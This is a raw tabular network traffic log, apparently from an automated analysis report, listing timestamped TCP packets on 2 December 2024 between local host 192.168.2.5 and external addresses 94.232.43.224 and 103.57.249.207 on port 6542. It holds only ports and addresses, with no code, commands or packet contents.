Dec 2, 2024 18:43:22.591075897 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.594680071 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.594733953 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.594808102 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.594882011 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.598563910 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.598613024 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.598687887 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.598735094 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.602397919 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.602452993 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.602535009 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.602602959 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.605407000 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.605454922 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.605567932 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.605623960 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.609630108 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.609688044 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.609818935 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.609863997 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.612991095 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.612998962 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.613128901 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.615219116 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.615299940 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.615310907 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.615367889 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.617597103 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.617640018 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.617701054 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.620161057 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.620227098 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.620310068 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.620374918 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.623266935 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.623380899 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.623440981 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.623509884 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.626353979 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.626420975 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.626579046 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.626631021 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.628779888 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.628865957 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.628875017 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.628930092 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.631680965 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.631745100 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.631987095 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.632044077 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.634191990 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.634238005 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.634296894 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.634335995 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.637016058 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.637084007 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.637154102 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.637212038 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.639631987 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.639717102 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.639730930 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.639755964 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.642510891 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.642565966 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.642829895 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.642893076 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.645735979 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.645802975 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.645864964 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.645917892 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.648233891 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.648320913 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.648396015 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.648444891 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.651026011 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.651087046 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.651186943 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.651262045 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.653892040 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.654047012 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.654109955 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.654125929 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.656843901 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.656913042 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.657092094 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.657151937 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.659652948 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.659693956 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.659751892 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.659816027 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.662597895 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.662666082 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.662724972 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.662782907 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.665453911 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.665494919 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.665509939 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.665540934 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:22.668251038 CET	6542	49713	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:22.668323994 CET	49713	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:24.854973078 CET	6542	49704	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:24.855649948 CET	49704	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:24.869864941 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:24.871653080 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:24.926542044 CET	49706	6542	192.168.2.5	103.57.249.207
Dec 2, 2024 18:43:25.046802998 CET	6542	49706	103.57.249.207	192.168.2.5
Dec 2, 2024 18:43:25.321806908 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:25.446635962 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:25.447649002 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:25.448070049 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:25.574285030 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:26.693116903 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:26.693197012 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:26.693203926 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:26.693218946 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:26.693248987 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:26.693263054 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:26.698985100 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:26.820955038 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:27.092343092 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:27.092396975 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:27.093478918 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:27.213773012 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.277200937 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.277311087 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.277345896 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.277360916 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.277399063 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.277966976 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.278027058 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.278098106 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.278110027 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.278151035 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.286204100 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.286259890 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.286355019 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.286403894 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.295207977 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.295258045 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.295347929 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.295392036 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.302875042 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.302927017 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.303024054 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.303071022 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.342175007 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.342262030 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.342375040 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.342432022 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.397409916 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.397481918 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.456157923 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.456207991 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.456301928 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.456345081 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.460396051 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.460530996 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.460556984 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.460581064 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.468938112 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.468996048 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.469063997 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.469110966 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.477492094 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.477539062 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.477679014 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.477720976 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.486154079 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.486218929 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.486237049 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.486412048 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.494609118 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.494669914 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.494736910 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.494791031 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.503365993 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.503424883 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.503446102 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.503488064 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.511884928 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.511955976 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.512054920 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.512098074 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.520827055 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.520884991 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.520895004 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.520939112 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.530462980 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.530656099 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.530678988 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.530814886 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.539072990 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.539129972 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.539244890 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.539294004 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.544244051 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.544295073 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.544327021 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.544374943 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.548434973 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.548485041 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.548588037 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.548633099 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.554528952 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.554600954 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.554635048 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.554651976 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.560508966 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.560565948 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.648113966 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.648205042 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.648278952 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.648278952 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.649843931 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.649893999 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.650006056 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.650054932 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.656423092 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.656472921 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.656511068 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.656709909 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.662278891 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.662360907 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.662400007 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.662442923 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.667984962 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.668034077 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.668107986 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.668154955 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.674165010 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.674221039 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.674253941 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.674323082 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.678555012 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.678606033 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.678649902 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.678837061 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.683053017 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.683109045 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.683142900 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.683188915 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.687887907 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.687932014 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.688028097 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.688074112 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.692047119 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.692101002 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.692245960 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.692296982 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.697264910 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.697315931 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.697441101 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.697490931 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.701183081 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.701234102 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.701309919 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.701358080 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.705996037 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.706049919 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.706077099 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.706118107 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.711040974 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.711090088 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.711179972 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.711229086 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.714818001 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.714869022 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.714903116 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.714952946 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.718730927 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.718802929 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.718826056 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.718872070 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.723165035 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.723210096 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.723362923 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.723408937 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.727636099 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.727698088 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.727715969 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.727775097 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.731668949 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.731829882 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.731852055 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.731899977 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.735976934 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.736032963 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.768369913 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.768445015 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.768543005 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.768543005 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.770534992 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.770586967 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.770711899 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.770761013 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.774876118 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.774928093 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.774955988 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.775022030 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.779357910 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.779422998 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.779423952 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.779459000 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.783473969 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.783534050 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.783622980 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.783673048 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.787844896 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.787915945 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.787945032 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.787970066 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.839929104 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.840029001 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.840045929 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.840094090 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.841675043 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.841751099 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.841821909 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.841871023 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.844635963 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.844696045 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.844819069 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.844870090 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.848090887 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.848164082 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.848202944 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.848247051 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.851620913 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.851675987 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.851733923 CET	6542	49740	94.232.43.224	192.168.2.5
Dec 2, 2024 18:43:32.851788998 CET	49740	6542	192.168.2.5	94.232.43.224
Dec 2, 2024 18:43:32.855271101 CET	6542	49740	94.232.43.224	192.168.2.5
